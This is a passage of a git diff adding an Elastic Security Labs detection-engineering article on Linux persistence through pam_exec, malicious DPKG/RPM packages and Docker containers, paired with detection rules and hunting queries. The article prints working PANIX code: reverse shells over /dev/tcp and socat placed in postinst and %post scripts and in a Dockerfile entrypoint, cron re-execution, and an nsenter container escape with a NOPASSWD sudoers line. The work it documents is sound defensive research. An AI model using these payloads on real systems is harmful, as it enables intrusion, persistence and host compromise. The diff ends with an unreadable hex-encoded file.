    [Unusual SSHD Child Process](https://github.com/elastic/detection-rules/blob/e528feb989d8fc7f7ca8c4100c0bf5ca7b912a5d/rules/linux/persistence_unusual_sshd_child_process.toml) | + +To revert any changes, you can use the corresponding revert module by running: + +``` +> ./panix.sh --revert pam + +[+] Removing PAM_EXEC backdoor... +[+] Removed '/bin/pam_exec_backdoor.sh'. +[+] Removed PAM_EXEC line from '/etc/pam.d/sshd'. +[+] Restarting SSH service... +[+] SSH service restarted successfully. +[-] PAM_EXEC line not found in '/etc/pam.d/common-auth'. +``` + +### Hunting for T1556.003 - Pluggable Authentication Modules: pam_exec.so + +We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to its use. This technique relies on altering PAM configuration files, rather than compilation to execute commands or scripts. The approach includes monitoring for the following: + +* **Child processes spawned from SSH:** Tracks processes initiated via SSH sessions, as these may indicate the misuse of `pam_exec.so` for persistence. +* **Creations and/or modifications to PAM configuration files:** Tracks changes to files in the `/etc/pam.d/` and `/lib/security/` directories and the `/etc/pam.conf` file, which are commonly targeted for PAM persistence. + +By combining the [Persistence via Pluggable Authentication Modules](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_pluggable_authentication_module.md) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to [T1556.003](https://attack.mitre.org/techniques/T1556/003/). + +# T1546.016 - Event Triggered Execution: Installer Packages + +Package managers are used to install, update, and manage software packages. While these tools streamline software management, they can also be abused by attackers to gain initial access or achieve persistence. By hijacking the package manager's execution flow, attackers can insert malicious code that executes during routine package management tasks, such as package installation or updates. This technique is tracked by MITRE under the identifier [T1546.016](https://attack.mitre.org/techniques/T1546/016/). + +## T1546.016 - Installer Packages: DPKG & RPM + +Popular managers include `DPKG` (Debian Package) for Debian-based distributions and `RPM` (Red Hat Package Manager) for Red Hat-based systems. + +**1. DPKG (Debian Package Manager)** + +`DPKG`, the Debian package manager, processes `.deb` packages and supports lifecycle scripts such as `preinst`, `postinst`, `prerm`, and `postrm`. These scripts run at different stages of the package lifecycle, making them a potential target for executing malicious commands. A potential DPKG package file structure used for malicious intent could look like this: + +``` +malicious_package/ +├── DEBIAN/ +├── control +├── postinst +``` + +Where the post-installation script (`postinst`) runs immediately after a package is installed, allowing the attacker to gain initial access or establish persistence through malicious code. + +Upon installation, the `DPKG` scripts (`preinst`, `postinst`, `prerm`, and `postrm`) will be stored in the `/var/lib/dpkg/info/` directory and executed. Package installation logs are stored in `/var/log/dpkg.log`, and record commands like `dpkg -i` and the package names. + +**2. RPM (Red Hat Package Manager)** + +`RPM`, the Red Hat Package Manager, is the default package manager for Red Hat-based distributions like Fedora, CentOS, and RHEL. It processes `.rpm` packages and supports script sections such as `%pre`, `%post`, `%preun`, and `%postun`, which execute at various stages of the package lifecycle. These scripts can be exploited by attackers to run arbitrary commands during installation, removal, or updates. + +A typical malicious RPM package might include a `%post` script embedded directly in the package’s `spec` file. For example, a `%post` script could launch a reverse shell or modify critical system configurations immediately after the package installation completes. An example package layout could look as follows: + +``` +~/rpmbuild/ +├── SPECS/ +│ ├── malicious_package.spec +├── BUILD/ +├── RPMS/ +├── SOURCES/ +├── SRPMS/ +``` + +Upon installation, `RPM` runs the `%post` script, allowing the attacker to execute the payload. The package manager logs installation activity in `/var/log/rpm.log`, which includes the names and timestamps of installed packages. Additionally, the built `RPM` package is stored in `/var/lib/rpm/`. + +### Persistence through T1546.016 - Installer Packages: DPKG & RPM + +PANIX can establish persistence through both `DPKG` and `RPM` within the [setup_malicious_package.sh](https://github.com/Aegrah/PANIX/blob/ae404d5caf74c772436ccaaa0c3ab51cba8c4250/modules/setup_malicious_package.sh) module. Starting with `DPKG`, the directory structure is created, the control file is written and the payload is added to the `postinst` file: + +``` +# DPKG package setup +PACKAGE_NAME="panix" +PACKAGE_VERSION="1.0" +DEB_DIR="${PACKAGE_NAME}/DEBIAN" +PAYLOAD="#!/bin/sh\nnohup setsid bash -c 'bash -i >& /dev/tcp/${ip}/${port} 0>&1' &" + +# Create directory structure +mkdir -p ${DEB_DIR} + +# Write postinst script +echo -e "${PAYLOAD}" > ${DEB_DIR}/postinst +chmod +x ${DEB_DIR}/postinst + +# Write control file +echo "Package: ${PACKAGE_NAME}" > ${DEB_DIR}/control +echo "Version: ${PACKAGE_VERSION}" >> ${DEB_DIR}/control +echo "Architecture: all" >> ${DEB_DIR}/control +echo "Maintainer: https://github.com/Aegrah/PANIX" >> ${DEB_DIR}/control +echo "Description: This malicious package was added through PANIX" >> ${DEB_DIR}/control +``` + +Afterwards, all that is left is to build the package with `dpkg-deb` and install it through `dpkg`. + +``` +# Build the .deb package +dpkg-deb --build ${PACKAGE_NAME} + +# Install the .deb package +dpkg -i ${PACKAGE_NAME}.deb +``` + +Upon installation, or updating of the package, the payload will be executed. In order to persist on a regular interval, any other persistence mechanism can be used. PANIX leverages `Cron`: + +``` +echo "*/1 * * * * /var/lib/dpkg/info/${PACKAGE_NAME}.postinst configure > /dev/null 2>&1" | crontab - +``` + + +To forcefully install the package on a certain interval. This is of course not a stealthy mechanism, but serves as a proof of concept to emulate the technique. Let’s run the payload, and analyze the simulated events in Kibana: + +``` +sudo ./panix.sh --malicious-package --dpkg --ip 192.168.100.1 --port 2019 +dpkg-deb: building package 'panix' in 'panix.deb'. +Preparing to unpack panix.deb ... +Unpacking panix (1.0) over (1.0) ... +Setting up panix (1.0) ... +nohup: appending output to 'nohup.out' +[+] Malicious package persistence established. +``` + +Looking at the events generated in Kibana, we can see the following sequence: + +![PANIX malicious-package module execution visualized in Kibana (DPKG)](/assets/images/approaching-the-summit-on-persistence/image2.png) + +PANIX is executed via `sudo`, after which the `postinst` and `control` files are created. The package is then built using `dpkg-deb`, and installed with `dpkg -i`. Here we can see the `/var/lib/dpkg/info/panix.postinst` executing the reverse shell execution chain (`nohup` → `setsid` → `bash`). After installation, the `crontab` is altered to establish persistence on a one-minute interval. + +**RPM** + +For `RPM`, a similar flow as `DPKG` is leveraged. The package is set up using the correct `RPM` package structure, and the `%post` section is set to contain the payload that gets triggered after installation: + +``` +# RPM package setup +PACKAGE_NAME="panix" +PACKAGE_VERSION="1.0" +cat <<-EOF > ~/rpmbuild/SPECS/${PACKAGE_NAME}.spec +Name: ${PACKAGE_NAME} +Version: ${PACKAGE_VERSION} +Release: 1%{?dist} +Summary: RPM package with payload script +License: MIT + +%description +RPM package with a payload script that executes a reverse shell. + +%prep +# No need to perform any preparation actions + +%install +# Create directories +mkdir -p %{buildroot}/usr/bin + +%files +# No need to specify any files here since the payload is embedded + +%post +# Trigger payload after installation +nohup setsid bash -c 'bash -i >& /dev/tcp/${ip}/${port} 0>&1' & + +%clean +rm -rf %{buildroot} + +%changelog +* $(date +'%a %b %d %Y') John Doe 1.0-1 +- Initial package creation +``` + +Next, the `RPM` package is built using `rpmbuild`, and installed with `rpm`: + +``` +# Build RPM package +rpmbuild -bb ~/rpmbuild/SPECS/${PACKAGE_NAME}.spec + +# Install RPM package with forced overwrite +VER=$(grep VERSION_ID /etc/os-release | cut -d '"' -f 2 | cut -d '.' -f 1) +rpm -i --force ~/rpmbuild/RPMS/x86_64/${PACKAGE_NAME}-1.0-1.el${VER}.x86_64.rpm +mv ~/rpmbuild/RPMS/x86_64/${PACKAGE_NAME}-1.0-1.el${VER}.x86_64.rpm /var/lib/rpm/${PACKAGE_NAME}.rpm +``` + +Upon installation, the payload will be executed. Again, the following `Cron` job is created to ensure persistence on a one-minute interval: + +``` +echo "*/1 * * * * rpm -i --force /var/lib/rpm/${PACKAGE_NAME}.rpm > /dev/null 2>&1" | crontab +``` + +Let’s examine the traces that the `RPM` package technique leaves behind: + +![PANIX malicious-package module execution visualized in Kibana (RPM)](/assets/images/approaching-the-summit-on-persistence/image5.png) + +Upon PANIX execution, the `panix.spec` file is created and populated. Next, `rpmbuild` is used to build the package, and `rpm -i` is executed to install the package. Upon installation, the `%post` payload is executed, leading to an execution of the reverse shell chain (`nohup` → `setsid` → `bash`) with a `process.parent.command_line` of `/bin/sh /var/tmp/rpm-tmp.HjtRV5 1`, indicating the execution of an `RPM` package. After installation, `Crontab` is altered to execute the payload once, at one minute intervals for consistency. +Let’s take a look at the coverage: + +*Detection and endpoint rules that cover installer package (DPKG & RPM) persistence* + +| Category | Coverage | +| :---- | :---- | +| Process | [RPM Package Installed by Unusual Parent Process](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_rpm_package_installation_from_unusual_parent.toml)
    [Unusual DPKG Execution](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_dpkg_unusual_execution.toml)
    [DPKG Package Installed by Unusual Parent Process](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_dpkg_package_installation_from_unusual_parent.toml) | +| Network | [Egress Network Connection from Default DPKG Directory](https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_egress_network_connection_from_default_dpkg_directory.toml)
    [Egress Network Connection from RPM Package](https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_egress_network_connection_from_rpm_package.toml) | + +You can revert the changes made by PANIX by running the following revert command: + +``` +> ./panix.sh --revert malicious-package + +[+] Reverting malicious package... +[+] Removing DPKG package 'panix'... +[+] DPKG package 'panix' removed successfully. +[+] Removing cron job associated with 'panix'... +[+] Cron job removed. +[+] Cleaning up '/var/lib/dpkg/info'... +[+] Cleanup completed. +``` + +### Hunting for T1546.016 - Installer Packages: DPKG & RPM + +We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to package management tools. The approach includes monitoring for the following: + +* **File creation or modification in package management directories:** Tracks unusual changes to files in paths like `/var/lib/dpkg/info/` and `/var/lib/rpm/`, excluding common benign patterns such as checksum or list files. +* **Processes executed from lifecycle scripts:** Observes commands and processes launched from directories like `/var/tmp/rpm-tmp.*` and `/var/lib/dpkg/info/`, which may indicate suspicious or unauthorized activity. +* **Detailed metadata on modified files:** Uses OSQuery to gather additional file metadata, including ownership and timestamps, for forensic analysis of package management activity. + +By combining the [Persistence via DPKG/RPM Package](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_rpm_dpkg_installer_packages.md) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to [T1546.016](https://attack.mitre.org/techniques/T1546/016/). + +# T1610 - Deploy Container + +Host escape involves exploiting vulnerabilities, misconfigurations, or excessive permissions in containerized or virtualized environments to gain access to the underlying host system. Technologies like Docker, Kubernetes, and VMware aim to isolate workloads, but improper configurations or shared resources can allow attackers to break out of the container and compromise the host. MITRE tracks container deployment under identifier [T1610](https://attack.mitre.org/techniques/T1610/). + +## T1610 - Deploy Container: Malicious Docker Container + +Docker containers are particularly susceptible to host escapes when improperly secured. Attackers may exploit vulnerabilities or misconfigurations in two main ways: + +**1. Manipulating a Running Container** + +Attackers abuse misconfigured containers to execute commands affecting the host. Common scenarios include: + +* **Privileged Mode**: Containers running with `--privileged` can directly interact with host resources. For example, attackers may load kernel modules or access host-level devices. +* **Excessive Capabilities**: Containers with the `CAP_SYS_ADMIN` capability can perform privileged operations, such as mounting filesystems or accessing `/dev` devices. +* **Sensitive Volume Access**: Volumes like `/var/run/docker.sock` allow attackers to issue Docker commands to the host. +* **Host Namespace Access**: Containers configured with `--pid=host` or `--net=host` expose the host's process and network namespaces. Attackers can escalate privileges by targeting processes or manipulating network configurations directly. + +**2. Deploying a Malicious Container** + +Attackers deploy custom containers designed to break out of isolation. These containers often include: + +* Exploits targeting runtime vulnerabilities or kernel bugs. +* Scripts for privilege escalation or persistence, such as reverse shells or C2 beacons. +* Malicious configurations enabling unauthorized access to host resources. + +In the next section, we will take a look at an example of a malicious docker container implementation. + +### Persistence through T1610 \- Deploy Container: Malicious Docker Container + +In this scenario, we will take a look at how to simulate the creation of an exemplary malicious Docker container through PANIX. Within the [setup_malicious_docker_container.sh](https://github.com/Aegrah/PANIX/blob/ae404d5caf74c772436ccaaa0c3ab51cba8c4250/modules/setup_malicious_docker_container.sh) module, PANIX creates a Dockerfile with the following contents: + +``` +FROM alpine:latest + +RUN apk add --no-cache bash socat sudo util-linux procps + +RUN adduser -D lowprivuser + +RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh \\ + && echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:$ip:$port"; sleep 60; done' >> /usr/local/bin/entrypoint.sh \\ + && chmod +x /usr/local/bin/entrypoint.sh + +RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh \\ + && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh \\ + && chmod +x /usr/local/bin/escape.sh \\ + && echo 'lowprivuser ALL=(ALL) NOPASSWD: /usr/bin/nsenter' >> /etc/sudoers + +USER lowprivuser + +ENTRYPOINT ["/usr/local/bin/entrypoint.sh"] +``` + +The Dockerfile sets up a lightweight Alpine Linux container with tools like `bash`, `socat`, and `nsenter`. The `entrypoint.sh` script ensures continuous reverse shell access by repeatedly connecting to a remote server using `socat`. The `escape.sh` script, which is granted passwordless `sudo` permissions, uses `nsenter` to attach to the host's namespaces (e.g., mount, network, PID) via the init process, effectively breaking container isolation. + +The container is built using: + +`docker build -t malicious-container -f $DOCKERFILE . && \` + +Where the `-t` flag tags the container for easy identification, and `-f` specifies the Dockerfile path. + +It is then run with: + +`docker run -d --name malicious-container --privileged --pid=host malicious-container` + +Where the `--privileged` flag allows full access to host resources, bypassing Docker’s isolation mechanisms, while `--pid=host` shares the host's process namespace, enabling the container to interact directly with host-level processes. + +To test this technique, Docker must be installed, and the user running the simulation must either have root or docker group permissions. Let’s run the payload and examine the logs through the execution of the following PANIX command: + +``` +sudo ./panix.sh --malicious-container --ip 192.168.100.1 --port 2021 + + => [1/5] FROM [installing ...] + => [2/5] RUN apk add --no-cache bash socat sudo util-linux procps + => [3/5] RUN adduser -D lowprivuser + => [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec: + => [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' + +9543f7ce4c6a8defcad36358f00eb4d38a85a8688cc8ecd5f15a5a2d3f43383b + +[+] Malicious Docker container created and running. +[+] Reverse shell is executed every minute. +[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'. +[+] Docker container persistence established! +``` + +After catching the shell on the attacker’s machine, run the `/usr/local/bin/escape.sh` script to escape the container: + +``` +❯ nc -nvlp 2021 +listening on [any] 2021 ... +connect to [192.168.211.131] from (UNKNOWN) [192.168.211.151] 44726 + +9543f7ce4c6a:/$ /usr/local/bin/escape.sh +root@debian10-persistence:~# hostname +debian10-persistence +``` + +Upon execution, the following logs are generated: + +![PANIX malicious-container module execution visualized in Kibana](/assets/images/approaching-the-summit-on-persistence/image6.png) + +The execution of `panix.sh` initiates the creation of the `/tmp/Dockerfile`. The build command is then executed to create the container based on the specified configuration. Once built, the container is launched with the `--privileged` and `--pid=host` flags, enabling the necessary capabilities for host escape. Upon startup, the container runs the `/usr/local/bin/entrypoint.sh` script, which successfully establishes a reverse shell connection to the attacker’s machine using `socat`. After the shell is caught, the `/usr/local/bin/escape.sh` script is executed, effectively breaking out of the container and gaining access to the host. + +Let’s take a look at the coverage: + +*Detection and endpoint rules that cover malicious Docker container persistence* + +| Category | Coverage | +| :---- | :---- | +| Process | [Privileged Docker Container Creation](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/execution_potentially_overly_permissive_container_creation.toml)
    [Docker Escape via Nsenter](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_docker_escape_via_nsenter.toml)
    [Potential Chroot Container Escape via Mount](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_docker_mount_chroot_container_escape.toml)
    [Potential Privilege Escalation via Container Misconfiguration](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_container_util_misconfiguration.toml)
    [Potential Privilege Escalation through Writable Docker Socket](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_writable_docker_socket.toml) | +| Network | [Egress Connection from Entrypoint in Container](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/execution_egress_connection_from_entrypoint_in_container.toml) | + +Besides the rules mentioned above, we also have a dedicated set of container rules that leverages our [Defend for Containers integration](https://www.elastic.co/guide/en/integrations/current/cloud_defend.html), which can be found in the [cloud_defend](https://github.com/elastic/detection-rules/tree/main/rules/integrations/cloud_defend) directory of our [detection-rules repository](https://github.com/elastic/detection-rules). We have also extended our protections through the integration of Falco with Elastic Security. This integration significantly enhances threat detection directly at the edge — whether in Docker containers, Kubernetes clusters, Linux virtual machines, or bare metal environments. By introducing dedicated Falco connectors, we've strengthened Elastic's capabilities to improve cloud workload protection and endpoint security strategies. + +For a deeper dive into how our Falco integration secures container workloads, check out our recent blog, *“[Securing the Edge: Harnessing Falco’s Power with Elastic Security for Cloud Workload Protection](https://www.elastic.co/blog/falco-elastic-security-cloud-workload-protection)”*. The blog covers Falco setup, rule creation, alerting, and explores various threat scenarios. + +You can revert the changes made by PANIX by running the following revert command: + +``` +> ./panix.sh --revert malicious-container + +[+] Stopping and removing the 'malicious-container'... +[+] Container 'malicious-container' stopped and removed. +[+] Removing Docker image 'malicious-container'... +[+] Docker image 'malicious-container' removed. +[+] Removing Dockerfile at /tmp/Dockerfile... +[+] Dockerfile removed. +``` + +### Hunting for T1610 - Deploy Container: Malicious Docker Container + +We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious container activity and configurations. The approach includes monitoring for the following: + +* **Unusual network connections from Docker containers:** Tracks connections to external or non-local IP addresses initiated by processes under `/var/lib/docker/*`. +* **Privileged Docker containers:** Identifies containers running in privileged mode, which pose a higher risk of host compromise. +* **Recently created containers and images:** Observes Docker containers and images created or pulled within the last 7 days to detect unauthorized deployments or suspicious additions. +* **Sensitive host directory mounts:** Monitors container mounts accessing paths like `/var/run/docker.sock`, `/etc`, or the root directory (`/`), which could enable container escape or unauthorized host access. + +By combining the [Persistence via Docker Container](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_malicious_docker_container.md) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to [T1610](https://attack.mitre.org/techniques/T1610/). + +# Conclusion + +In this fourth chapter of the "Linux Detection Engineering" series, we examined additional persistence techniques that adversaries may leverage on Linux systems. We explored the abuse of PAM modules and `pam_exec` for executing malicious code during authentication events. After PAM, we looked into installer package manipulation via `RPM` and `DPKG`, where lifecycle scripts are weaponized for persistence during the package installation/updating process. We finalized this part by examining malicious Docker containers, detailing how privileged containers and host-level access can be exploited for persistence and container escape. + +These techniques underscore the ingenuity and variety of methods adversaries can employ to persist on Linux systems. By leveraging [PANIX](https://github.com/Aegrah/PANIX) to simulate these attacks and using the tailored ES|QL and OSQuery detection queries provided, you can build robust defenses and fine-tune your detection strategies. \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/aws_sns_abuse.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/aws_sns_abuse.encoded.md new file mode 100644 index 0000000000000..4bcbf928249f4 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/aws_sns_abuse.encoded.md @@ -0,0 +1 @@ +215c504d62434f1da097ebab2b22cc01434ace82fae77ab816bfad1e56c1a40c92838c64e9855b87e0b61a4d814803232a5d2b20dc648ab058b4cdf3eb0855c31aeecb0a3c33530d6738dbffa067e5fe3fb544c7d1fdbd6eeb54e3081460a596b24c02aa0fc7e8f71a705c372503111485a27ae2fd85efe72672cca597e6203e54d59a23e6cf0bd530bae79b272ae5139789a19968d1191c048026c4f9b90dfa884678c13e54dac478063c03f7ed352c661f6d62eed1d8db8ee36600bfb87d2c698acbc5b269cbd3d77cf99add29bf4db262e4947077e9bc434ff7ecbd53a2177facf89e4e184b49c4598c9e022bbf732d5f4a2556f7c38642df7819faa6475a62b8e72442d8428a85abb44cdfebcf623bcdd8872e384ed4284cf02e8033bec993137ea9025e842e60d7de6d761f3d2d3499bae2798523a1cd980d728245722f4302d3223c5cd3b9a3b98e112123049e9789a19968d1191c048026c4f9b90dfac062c42c4f7de329db5075ae72c19d66cf6919639d5e8aaedb21dd64dc832c4b97c8b10f2c555a6b452319a0db7b4d3a815904b5266979a629b9186c2309dabf90ae61791b92be0aa023a8fcc31d580b07973bb98c9c5f401eafd3c5b21fc8fadc5476833f780b731dbb5e7df319e3348f014b666886d463871ed6fc5ce90c61e2a06e3a25aea92a4a3ccfaa58ad7a160e8c2a6156cab82ed96af4dbd4eaca6b652bb72f7c4cbde1c713fffb81729e1a70f7b6e6e8a756c97d725f1b480b46eebee627c331604ad630f2ea2ae1a834736bc651e2e5c38669702d9820d45208f31c61b102b65de8f1cb83d7bcf705b001e4269e1bb8ee58fbf8f98f7113c529502126f42e0cfd0cf48664bbd46878a69a0c523596236690fb15a121b3d746983502479db0c0794dd8ec257a6d8e5542ee211faa1c88e375d26fdf55b3eeb93c184a4233828db5c26142e239733ad8985f0aff2b2cf87ecc3c44773acdc160e680e790a7c608b543b6fbbf6f700f2387de4447d7ae3d0e209a0a7c8b0cd765a1ad4cb346e0abb1d2faad2905a359b61eb61ee31a6c06cbe0f1293000f15b14af397b9a77eba7818ae6f471adff68ebd19edfb804300eba420396559f20ddb3da9a281b77e2a9675f6a5bad370856c332258d2799c3c54d505c0fb993dd24b62b57e4c7152c9e6168c8b14bcca4355f698f96ad0ed558bad10450fb67aff6c353c46d492337f68e4ee927ee483d10f979f71df43df7cb8360202ca91fe6f1ad07f1c7bc34cf4984065430b8ef4e05e0b6ec3024e3e011b402059b5b89b109048bd1739f8e52f4f6715c5d8e76cb48b2d2e04991c9df7855b7aaefe4970b8d4d823c612a4d5f4b9258a74736ce2ce272082cf994d0a5161488df456c6adc98e2cbac558ef0b4a3f2043268dd83306cc09ee5dd9c37ba16b5bc100b1dc483ef8b7e524ab7ea17fc77a663632d7b5e2177863f3973969b05029ae8d098b34be67d242eeee6657af4544ea641204195bc00f6808f367a3ebd0dccaa399791ea1172d1fb4e1ea28861a2c09697ccccf5fca62a7f4e211b6b932279e2eb2e5b9992fa316711dc09735b934711cc6d1300d6bbc88c4ca3f675f3d28c88acce34dc1f6e54697338741826ad37aa83d1fbf5b047be83e08d26ed111ac71e5422ff77589c821fbd76f4400ba62f82710fb7ab4c2ce0e5e790cf91861f38e996eeac6cdf3897844c1cfd9c471807ec3145cdaf156ffbc980f10496e4323fcbe9aceb0446ae836717825fd4029597f728f14a4367544c16d74a650cfbd7da7f5ee27cca62f525ae4c050928ec6fa270a3b270f6d5a5133d40eb2fee1a2230dc770a8bbd8f767364af105fe23b1c65c0a57de527170bdbc769420482f04907fab0fca0bd81411df3a57a275d6bac7854c3f4aacdf13c047e624a8ae70f9cb7b464493a9f8acebf26468cc14b84793c1b63e51926697e4e3684fc2a91a52d2c123b8fa6d4e04d0456f8f97f027fcbee7d21a9a5ddcd49cc9279702d5abef9dec169d8ff4bba784c3a82c66ea8ac834b59d5ccc708a7b78832a60c8cd5012d138713719a15c6a66789ff4be929a06f4a1e13b9b2bb3246c532c715e6650adb1f24b467dd7534ebf864ec0a199cff1d2ea5559fd05f4794a72edfa044230cb90dc43c48c2c881840a82b6fc9dbf166cbd8c43e1a2a23649abcdcc471cf3dc04f3da0a0e29ae56ecea86b4223a2e9c3bc9dc6df3530f539c55c631587cc5be0ed3f5311fd55359d9d1ee0efd3adc51df95c893256374b47742c472e7b66b17f20007c7080602f5b8315cf80696702799561b7aaa67ad18e579e8c41094f7d73af3e93dc4616ddb0b526887106ece7f822c1e4e73b93915a753e7d52d72ee16e5069632d32c10b3ebf38775298967e6fba5a0e473eba6ca577fd08dbb761bac8a949db3859511dacbe3cff6348348c4e2792b6514d96e3b4143c903ec9e7654cf8cba226d5d18c056f01724dc7baa36d8d646ef7f36a2e4322f1a38a52fed82877334c65ca5a16937e211754f4feb78e9be6e380c03ad5c866b20e55cea8fdb8619ba5c3650497f9445b24d03730f6f727f49bb57f1b76edaebc07ca328186dd1d2f70920a44dbf3a4a5223ca6da23b6975b325470ee8565c5936d2fbc6e784ca2d31b4582a899b16f6ca81419dfa0e1e1fbc05c78977528002d3fd337683f52b38a07b5d8e52327a43c3f1b35088a7f5e06897c146ba5c503d471dacfc888336c0d0f35517f44288dc625944fff3f41e0a8ec522bdeab53c80eefe6636f527175a355e72282bf1cfe269dde8f62f4574cfddddf25334041c2b4783e17a97317f574cf747457301ad79815c209aabf946510076c32e1fe622cffe3941d18a5ff64353b6167470fa30573902af0460b185f8723e00b4430ab498c0c180e1c4d12ad31a9f1fe2cca5c8e1c725c98dde18387e818023fa1352412480d332ad0525da13f4182359df15d9851425d2111d260a0aa2a0e8a6fbc6a52750cc215bd9adbcf5f3e49fbda7756eade0f82529931066ad001780e00fdb2b519c0be44905386bacd488de63cf0cca15a239503b22e0500ca49da4909da704bcc8a15c21fef9ac8a824906f60cb7e1e195abf3417a270720333f7fe0c869589b1f0b19ffd6eac24a1d1962936f2c129f6b5c44cf2d0235ed3a827d6cd6d2eff411db0e7dce422ac528baa182c6f5e9f4ffd4e14b018250474a2d8ed5b1ed0247365225fe02993d6c2ad2bf962fd1459d142dcce60fb57ba0f63210352a542aed655f2c21407650ea981ce8708f6dd30b6b13569743492bfb967f75439439601a63e96150987b1666e325f65e84568eab1890ba6be7fc616f9288b7b36e5803623141e0063aee9656119fb6c94b747c69816c72feb0633a29f1d372c07f4c545730917fd7bfaf6b82ff3a111b2af097249c537b26c170d3574379581b644a674be66501fe270a619a9f879f2da7b85b88f047a800589445eeb1092edeb6562a9c8513870d0b57257aecb29821c3ca6cdafa00899bc33178ad94f6c423c2dc457c6b6c72feb0633a29f1d372c07f4c545730917fd7bfaf6b82ff3a111b2af097249c9a35433342ac7ade67d0204971ecb5a182b8a5608d447e38902898fad032d0f5bc66206009ab403bba91699f14bd284175767d780580751e2be37f22ff20a63c6590d4634db4e4424dbaafbfabe94fb3dfac17b23ab2886beb17b61c8fe26e5dd37967a9748c2ab378ee3304476c5aee008e8847866418094c1f4c2bedc89da632c877d3965567fa050ef702ce51fe9af37ad502327c2c5fb7a76e00683c8c8e2e96e5d6d4ee0a98b6aa0954d6765646362ccff858b25dfa43e780138377b8b3d445046d21d23527c0fff245777365b15c3b78749e1a72ea67cbc8161ea5b8e4f6b97a09b70d287fcc62ddf3412faed11f71b0d57c2f3308f2861faf109c08d8d15a2cda8249a8f20020dbcf3f153c2d877651bad98456e6bb0d86bd7bf60e24a796d3a0e8d479e0da703fe8197e68cf5de0ed240a8fbd9bf961a21817076b7b18c68fe97bbe6369b3420e147380b2e10850cd0e3b1f057a6b1ebd839022840f65a79348adfd444227d8cc8d4b4711d374ce1fb04abce0f841d5151a963bffcc8503c59a31e7d285d3e124a63782b0b9e36266a3799e873df870cb80351202758836fc0237cd01c0ba06de5cb63f183334ff5acc675e891723977a584f4f150e21ab7063dc1b33c1e16aa2942557990866e7d3c491afa5b3a001145f4ef6b2ce34ff5acc675e891723977a584f4f150e21ab7063dc1b33c1e16aa294255799081ca5d4c962054cbf559e48aabf15a858806fada5f699f7a439f760964c2b30a00b6359d18e28d26d7a8b3c2fc764a537bcdf126e9ea8d350465c9c295d1fd5123dbecd3ecd6d39e27cb23ca90b64e1cc4d66cfe4614fc1dca1e523baf3cc69f3a77b2b9178f977dc7d40b81d4dc4438eab901773f041d7f038bf9eacd40b09aefcbabcb7cbbddb8835befafca554b81b2bfe2f2f40bb3c5b49d9c2dee889a485b3b170c83a77ff75d5f0f800a64d2618b2fa211a35cc2e7ddc26dd3c1315d5a01bc945b2806d63ed676197dbae2dfe12406ad0e86d6dd5d83eba353e3e086d70e89d673e7acac321e11363496cc87bf1ebd4d43b4fe02461a71abc05d62ac134a0a0600f5662876273fb7a56931bc04ed6fd8f1ebf3507f437ee8229fe53c59ae4a0e2bc024791031351c4c19292f3639def87a86890aa3a3fc32f83bba316f7edf7d7bf32ee9a1fac387095e0337212917a3548bda63e21d5f4463506d5a7e8cb93884bc1295c0b48e7b87485d0cea32ac7e2daff10f8be49636e57549560955fb3ae9b8cf8876f13a8335b087214f8563c38cf97fb5b986b9db7ba8eea2cad3779b6c204ec899a5239bb101e782b22e9f97559f63e5f3df21ac60e42ab5379c2227efd505c8c489080fb33fa33660858b9987c09116e56ec8669c63ee245a81ce768f2f5fce3c6230697bb5343e7715fc22a8806caad812b9b37e2d0db0c063988a419be2162a68f27370ad7e47d345f80b198670816c0cb69f75e59cdc167e4966897e9e03f8435b171c5b693f7669366698f09ff1a2021f8ce70733fba7092d44179807b4470f7bb502325e2c73b03ac4bb9889ad4e05e94ffd4e82c4ca3ca63bb3a5e8f90a157307238de6e76f310b4ca3d677a9a35e57387c49a599a05d764e1a0b3e4e14563992ddad3ccef1ca9af2d781cebc21cdaa9af6cc5804bc00ae228e2617bbf1717f9fb39ea6fd9ab39fb068eff3969553e7865202a5cb5d086242f